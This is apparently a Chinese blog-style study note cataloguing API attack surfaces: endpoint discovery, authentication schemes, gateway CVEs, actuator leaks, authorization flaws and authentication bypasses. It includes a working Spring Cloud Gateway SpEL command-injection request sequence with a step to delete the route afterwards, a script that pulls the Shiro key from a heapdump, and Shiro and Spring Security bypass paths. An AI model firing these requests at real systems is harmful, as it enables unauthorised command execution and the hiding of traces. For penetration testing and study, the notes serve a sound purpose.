API安全学习笔记（常见攻击面）

必要性

前后端分离已经成为web的一大趋势，通过Tomcat+Ngnix(也可以中间有个Node.js)，有用地进行解耦。并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务（多种客户端，例如：浏览器，车载终端，安卓，IOS等等）打下坚固的基础。而API就负担了前后端的通信的职责。以是学习api安全很有必要。
本文的思路在于总结一些api方面常见的攻击面。笔者在这块也尚在学习中，如有错误，还望各位斧正。
常见的api技能

GraphQL

GraphQL 是一个用于 API 的查询语言
通常有如下特性：
（1）数据包都是发送至/graphql接口

（2）其中包含了很多换行符\n

1. {"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

复制代码

SOAP-WSDL

1. WSDL (Web Services Description Language,Web服务描述语言)是一种XML Application，他将Web服务描述定义为一组服务访问点，客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问

复制代码

走的是SOAP协议，一般发送的xml格式的数据，然后会有WSDL文件

.net中常见的.asmx文件也有wsdl格式 xxx.asmx?wsdl

我们可以使用soapui对这类api进行测试
WADL

文件内里有很显着的wadl标记

同样也可以用soapui的rest功能进行测试

REST

rest api并不像前面几种那种特性显着，也是如今使用最多的一种api技能

1. REST 是一组架构规范，并非协议或标准。API 开发人员可以采用各种方式实施 REST。
3. 当客户端通过 RESTful API 提出请求时，它会将资源状态表述传递给请求者或终端。该信息或表述通过 HTTP 以下列某种格式传输：JSON（Javascript 对象表示法）、HTML、XLT、Python、PHP 或纯文本。JSON 是最常用的编程语言，尽管它的名字英文原意为“JavaScript 对象表示法”，但它适用于各种语言，并且人和机器都能读。
5. 还有一些需要注意的地方：头和参数在 RESTful API HTTP 请求的 HTTP 方法中也很重要，因为其中包含了请求的元数据、授权、统一资源标识符（URI）、缓存、cookie 等重要标识信息。有请求头和响应头，每个头都有自己的 HTTP 连接信息和状态码。

复制代码

获取端点的方式

对于api的一些安全测试，通常关注api的权限题目，api端点和基础设施的安全题目。
要测试api端点的安全题目，肯定得尽量获取多的api端点
swagger api-docs泄露

Swagger 是一个规范和完备的框架，用于生成、形貌、调用和可视化 RESTful 风格的 Web 服务
常见指纹：

1. # swagger 2
2. /swagger-ui.html
3. /api-docs
4. /v2/api-docs
6. # swagger 3
7. /swagger-ui/index.html

复制代码

1. /api-docs
2. /v2/api-docs
3. /v3/api-docs
4. ...

复制代码

api-docs可泄露所有端点信息

这里推荐两个工具进行测试
第一个是swagger-editor
https://github.com/swagger-api/swagger-editor
下载之后打开index.html就可以用，可以选择导入或者远程加载url，支持json和yaml格式的api-docs

第二个是apikit https://github.com/API-Security/APIKit
burp插件

graphql内省查询

获取所有端点信息
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

1. {"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

复制代码

我们可以用这个生成接口文档：
https://github.com/2fd/graphdoc
需要nodejs test.json是刚刚内省查询返回的json格式数据

1. npm install -g @2fd/graphdoc
2. graphdoc -s ./test.json -o ./doc/schema

复制代码

然后我们打开生成的/doc/index.html

根据他这个格式构造数据包就行了

其他

在黑盒测试中，很大一个题目就是api端点找得不敷全，我们需要从对应的应用或者从其他方面找
（1）web
js html等静态资源可以有一些api端点
burp插件JS LinkFinder可以被动网络
（2）app和其他客户端应用
（3）github
（4）根据规律fuzz
鉴权方式

Basic Auth

每次请求API时都提供用户的username和password
通常在http数据包中有一个Authorization头

1. Authorization: Basic base64(username:password)

复制代码

这个安全性比较低，现在很少用到
JWT

jwt（json web token）是一种基于 Token 的认证授权机制
分为三部分

• Header : 形貌 JWT 的元数据，界说了生成署名的算法以及 Token 的范例。
  
• Payload : 用来存放实际需要通报的数据
  
• Signature（署名） ：服务器通过 Payload、Header 和一个密钥(Secret)使用 Header 内里指定的署名算法（默认是 HMAC SHA256）生成 防止 JWT被篡改
  

计算方式 加密算法( base64(header) + “.” + base64(payload), secret)

在线测试https://jwt.io/

平凡token需要后端存储与用户的对应关系，而JWT自身携带对应关系
其他自界说头、cookie

诸如apikey 或者随机生成的其他形式的token
常见安全题目及测试方法

api网关

1. API 网关是一个搭建在客户端和微服务之间的服务，我们可以在 API 网关中处理一些非业务功能的逻辑，例如权限验证、监控、缓存、请求路由等。
3. API 网关就像整个微服务系统的门面一样，是系统对外的唯一入口。有了它，客户端会先将请求发送到 API 网关，然后由 API 网关根据请求的标识信息将请求转发到微服务实例。

复制代码

apisix

1. Apache APISIX 是 Apache 软件基金会下的云原生 API 网关，它兼具动态、实时、高性能等特点，提供了负载均衡、动态上游、灰度发布（金丝雀发布）、服务熔断、身份认证、可观测性等丰富的流量管理功能。我们可以使用 Apache APISIX 来处理传统的南北向流量，也可以处理服务间的东西向流量。同时，它也支持作为 K8s Ingress Controller 来使用。

复制代码

apisix之前爆出过一个下令执行漏洞CVE-2022-24112 （目前最新版本是3.0）
影响范围：

1. Apache APISIX 1.3 ~ 2.12.1 之间的所有版本（不包含 2.12.1 ）
2. Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本（不包含 2.10.4）

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搭建漏洞环境

1. git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件
2. cd cve-2022-24112/apisix-docker/example/ ##进入相应目录
3. docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务

复制代码

使用条件

1. batch-requests插件默认开启状态。
2. 用户使用了 Apache APISIX 默认配置（启用 Admin API ，使用默认 Admin Key 且没有额外分配管理端口），攻击者可以通过 batch-requests 插件调用 Admin API 。

复制代码

攻击思路

1. 1、利用batch-requests 插件漏洞、绕过请求头检测；
2. 2、通过伪造请求头、向Admin API 注册路由；
3. 3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞

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exp：
https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py

Spring Cloud Gateway

1. Spring Cloud Gateway 是 Spring Cloud 团队基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的高性能 API 网关组件

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当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用步伐可受到代码注入攻击
影响版本

1. Spring Cloud Gateway < 3.1.1
2. Spring Cloud Gateway < 3.0.7
3. Spring Cloud Gateway 其他已不再更新的版本

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这个漏洞自己是一个SpEL注入
攻击方法：
第一步 添加路由 value参数传入了执行cmd的el表达式

1. POST /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
2. Host: xxx.com:9090
3. User-Agent: xxx
4. Content-Length: xxx
5. Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
6. Content-Type: application/json
7. Accept-Encoding: gzip, deflate
8. Connection: close
10. {
11.   "id": "AAAAAAAAAAAAAAAA",
12.   "filters": [{
13.     "name": "AddResponseHeader",
14.     "args": {
15.       "name": "Result",
16.       "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()))}"
17.     }
18.   }],
19.   "uri": "http://xxx.com:9090/test/actuator/"
20. }

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第二步 革新配置

1. POST /test/actuator/gateway/refresh HTTP/1.1
2. Host: xxx:9090
3. User-Agent: xxx
4. Content-Length: 0
5. Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
6. Content-Type: application/x-www-form-urlencoded
7. Accept-Encoding: gzip, deflate
8. Connection: close

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第三步，获取下令执行结果

1. GET /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
2. Host: xxxx:9090
3. User-Agent: xxx
4. Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
5. Accept-Encoding: gzip, deflate
6. Connection: close

复制代码

清除陈迹：

1. DELETE /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
2. Host: xxx
3. User-Agent: xxx
4. Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
5. Accept-Encoding: gzip, deflate
6. Connection: close

复制代码

traefik

这个倒是没爆出过什么漏洞，实战中遇到过频频dashboard存在未授权访问的情况，

这个dashboard没法直接部署容器啥的
但是可以从它http->http routers这里看到一些路由转发规则，好比host path，对于后续的渗透有一些资助，可以知道一些二级目次和域名
另有其他页面好比http services会泄露一些内网ip等等
actuator

未授权访问

默认只开放 health

如果在application.properties添加了

1. management.endpoints.web.exposure.include=*

复制代码

或者application.yml添加

1. management:
2.   endpoints:
3.     web:
4.       exposure:
5.         #默认值访问health,info端点  用*可以包含全部端点
6.         include: "*"
7.   endpoint:
8.     health:
9.       show-details: always #获得健康检查中所有指标的详细信息

复制代码

则会暴露所有端点(endpoints)
此时这些端点就存在未授权访问

使用方法大部分这篇文章已经讲了https://github.com/LandGrey/SpringBootVulExploit
这里不再重复提及
heapdump获取shiro key

测试环境：https://github.com/ruiyeclub/SpringBoot-Hello/tree/master/springboot-shiro

下载heapdump /actuator/heapdump

jvisualvm.exe：Java自带的工具，默认路径为：JDK目次/bin/jvisualvm.exe
打开heapdump， 搜索org.apache.shiro.web.mgt.CookieRememberMeManager

然后双击这个类，找到key，右边是key的值

复制

1. -83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111

复制代码

转换的python脚本：

1. import base64import structprint(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111
2. )))

复制代码

或者使用https://github.com/whwlsfb/JDumpSpider/releases
java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump

后端代码安全题目

api后端的应用也是由代码写出来的，各种web安全题目依旧会存在，好比sql注入 文件上传等等，这里提一个遇到比较多的越权题目和一个比较有意思的xxe漏洞
越权

（1）参数污染
为单个参数提供多个值

1. GET /api/user?id={userid}
2. =>
3. GET /api/user?id={userid1}&id={userid2}

复制代码

（2）附加特别字符和随机字符串
简朴地替换 id 可能会导致 40x等情况。可以尝试添加一些特别字符

1. / %20、%09、%0b、%0c、%1c、%1d、%1e、%1f

复制代码

1. GET /api/user/1
2. =>
3. GET /api/user/1%20

复制代码

（3）添加查询参数
url中可能并没有参数，可以自己添加一些字段（可以是网站返回的，也可以是常见的一些好比id username等等）：
好比

1. GET /api/user
2. =>
3. GET /api/user?id=1
4. GET /api/user?userid=1
5. GET /api/user?username=1
6. ...

复制代码

（4）修改动作
常见有增删改查
好比

1. GET /api/edit/user/1
2. =>
3. GET /api/detele/user/1
5. PUT /api/user  新增
6. =>
7. DETELE /api/user/1 尝试删除

复制代码

xxe

api为了兼容一些不同的应用场景好比小步伐、app等等，可能会兼容不同的数据传输格式
好比之前一个银行的测试，接口传输数据采用的是json格式

将json格式数据改为xml格式时，发现存在xml外部实体注入漏洞（xxe）

鉴权绕过思路

伪造jwt token

有些网站，访问时会给你一个jwt token，但是payload部分很多字段是空的，这个时候可以去尝试去修改payload中，可能和身份认证相关的字段，伪造jwt token。
伪作育需要解决署名题目
（1）修改署名算法为none
（2）爆破署名的密钥
（3）伪造密钥
…
可以使用jwt_tool进行测试
https://github.com/ticarpi/jwt_tool

Spring-security 认证绕过漏洞

CVE-2022-22978
影响版本：
Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4

1. 在spring-security中利用换行符可实现权限认证进行绕过，\r的URl编码为%0d，\n的URL编码为%0a
2. 比如：
3. /admin/1 -> 需要认证
4. /admin/1%0d%0a -> 绕过认证

复制代码

shiro权限绕过

举两个例子
（1）CVE-2020-1957
影响版本: shiro < 1.5.2
shiro与spring的URI中对;处理不同，导致绕过

1. 比如http://127.0.0.1:8080/;/admin，shiro则是认为是访问http://127.0.0.1:8080/
2. 比如http://127.0.0.1:8080/;/admin，spring则是认位是访问http://127.0.0.1:8080/admin
3. 这就造成了与shiro处理⽅式的差异，shiro是直接截断后⾯所有部分，⽽spring只会截断【分号之后，斜杠之前】的部分

复制代码

/admin/ -> 403
/;aaaa/admin/ -> 200
（2）CVE-2020-13933
影响版本: shiro < 1.6.0

1. 访问/admin/index 需要认证
2. 而/admin/%3bindex，能够绕过认证：

复制代码

其他

这里就是一些履历之谈
（1）github、前端的js以及app中可能存在一些测试的token
（2）测试站点的凭据可能在正式站点上面也有用
（3）有些应用有toB toC不同的接口，在校验不严格的情况下，toC端的凭据可能能用在toB端的接口认证上，好比某次漏洞挖掘中小步伐用户登录获取token，可以用在商家端的一些api绕过认证。
​最后

为了资助大家更好的学习网络安全，小编给大家准备了一份网络安全入门/进阶学习资料，内里的内容都是得当零基础小白的笔记和资料，不懂编程也能听懂、看懂，所有资料共282G，朋友们如果有需要全套网络安全入门+进阶学习资源包，可以点击免费领取（如遇扫码题目，可以在品评区留言领取哦）~